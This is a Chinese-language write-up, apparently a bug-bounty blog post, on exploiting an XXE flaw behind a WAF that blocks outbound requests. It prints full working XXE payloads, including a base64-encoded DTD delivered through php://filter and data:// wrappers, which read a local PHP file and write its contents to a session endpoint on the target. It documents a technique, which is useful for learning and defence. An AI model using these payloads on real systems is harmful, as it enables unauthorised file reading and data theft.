幾個星期以前,作者在某個OOB-XXE漏洞測試中遇到過這樣一種場景:目標應用後端系統WAF防火牆阻擋了包含DNS解析在內的所有出站請求(Outgoing Request),但最終,通過利用php://filter//的封裝協議,作者成功實現了OOB-XXE漏洞測試。以下是其分享:

在對目標應用的測試分析時,我偶然發現了其中一個路徑調用了一個名爲xml的參數,但其對應的XML數據值是加密的。之後,我發現該xml參數的XML數據在發送到HTTP請求前僅在客戶端實行了加密,也就是說,其應用後端可能未設置對這些XML數據進行必要驗證的措施,這樣,我就想到能否修改這些XML數據以便注入XXE Payload。

接下來,首先我要找到加密XML數據的JavaScript函數,但卻發現目標應用的JavaScript全被靜態模塊打包器WebPack打包且非常不具可讀性和跟蹤分析性。所以,要找到JavaScript加密函數是件麻煩事,之後,我想到了在Chrome瀏覽器工具中設置斷點,在XML數據發送到JavaScript加密函數前對它進行修改。

這樣一來,我就可以在其中加入外部實體(external entity)進行XML數據構造了,但當我把構造好的XML Payload發送後,目標應用好長時間纔有響應”Error while parsing XML”。但當我把其中的外部實體(external entity)修改爲 ` http://localhost/ ` 後,目標應用卻能及時無誤的響應。這種情況,我認爲目標應用環境中可能部署有WAF防火牆,它會把一些出站請求拒絕掉。之後,我又嘗試了端口和DNS解析請求,但都沒成功。

也就是說,現在我面前存在一個XXE漏洞,但是卻無能爲力。一般來說可能通過探測目標應用內網環境中開放的端口來實現XXE利用,但其WAF防火牆卻阻擋了所有出站請求。由於其WAF防火牆未阻止本機用爲外部實體,所以,我想找到目標應用公開具備的,不需cookie驗證且使用GET參數的路徑來實現對某些數據的更改或添加。而這也和目標應用的工作機制非常相符,因爲它好多路徑並未採用cookie驗證和用戶ID參數的形式來驗證身份。

考慮到這一點,我就開始認真分析查找,最後聚集於一個路徑 http://target/endpoint.php?sid= [session_id]&key=xxe&val=test,它會調用三個參數:sid、key和val,並把key和val保存到相應的會話ID賬戶中,而且我們通過訪問該路徑就可以獲取這三個參數值。

所以,現在我就想構造一個向路徑 http://target/endpoint.php?sid= [session_id]&key=xxe&val=test發送GET請求的外部實體,之後看看該路徑下的xxe和test值是否已經會發生添加更改,因此,我構造的XXE Payload如下,並把它執行了發送:

<!DOCTYPE foo [  

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM " http://target/endpoint.php?sid= [session_id]&key=xxe&val=test">

]>

<paramlimits>

<component name="L1" min="2" max="100">&xxe;</component>

</paramlimits>

之後,當我來到 http://target/endpoint.php?sid= [session_id] 下,我發現sid值已經被添加更改,也就是說,目標應用服務器能正常獲取上述實體,並會向提供的路徑發送GET請求。如下:

現在思路就慢慢清晰了,至少可以證明其XXE漏洞是存在的,我想深入利用看看能否可讀取到目標應用的一些本地文件。要讀取本地文件,我們需要創建一個獲取文件的參數實體,以及另一個調用該參數實體的實體,爲此,我用到了外部文檔類型定義(DTD)文件的調用,但問題還是一樣,被WAF防火牆阻擋了出站的調用請求,部署在我服務器上的DTD文件不能被正常調用。

這樣來說,還是防火牆在作怪,如何來繞過它呢?我想能否存在一種允許文件上傳的路徑,這樣我就能上傳我的構造DTD文件,但是,目標應用卻根本沒任何文件上傳功能。一番倒騰之後,我差點放棄了,但是我想到目標應用是PHP架構的,那我想應該可以用php://封裝協議的封裝器去獲取 data:// URI中的資源吧,這樣不就能調用到我的DTD文件了嗎?

所以,可以定義這樣一種參數實體:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">

<!ENTITY % param1 '<!ENTITY exfil SYSTEM " http://target/endpoint.php?sid= [session_id]&#38;key=xxe&#38;val=%data;">'>

然後把上述參數實體經base64編碼後,利用php://封裝協議來請求它,如下:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

當目標應用的XML解析器執行解析時,它會執行以下兩個路徑的實體解析:

php://filter/convert.base64-encode/resource=file:///D:/path/index.php    

http://target/endpoint.php?sid= [session_id]&#38;key=xxe&#38;val=%data;

其中的convert.base64-encode是爲了能對 index.php 文件內容更方便的獲取。所以最終的XXE Payload爲:

<!DOCTYPE r [
  <!ELEMENT r ANY >
  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]>
<paramlimits>
  <component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>

提交發送之後,來到目標路徑 http://target/endpoint.php?sid= [session_id]下,可以發現經base64編碼的index.php文件內容被成功獲取:

當然,深入利用之後就能用這種方法來讀取一些敏感的本地文件了。

相關文章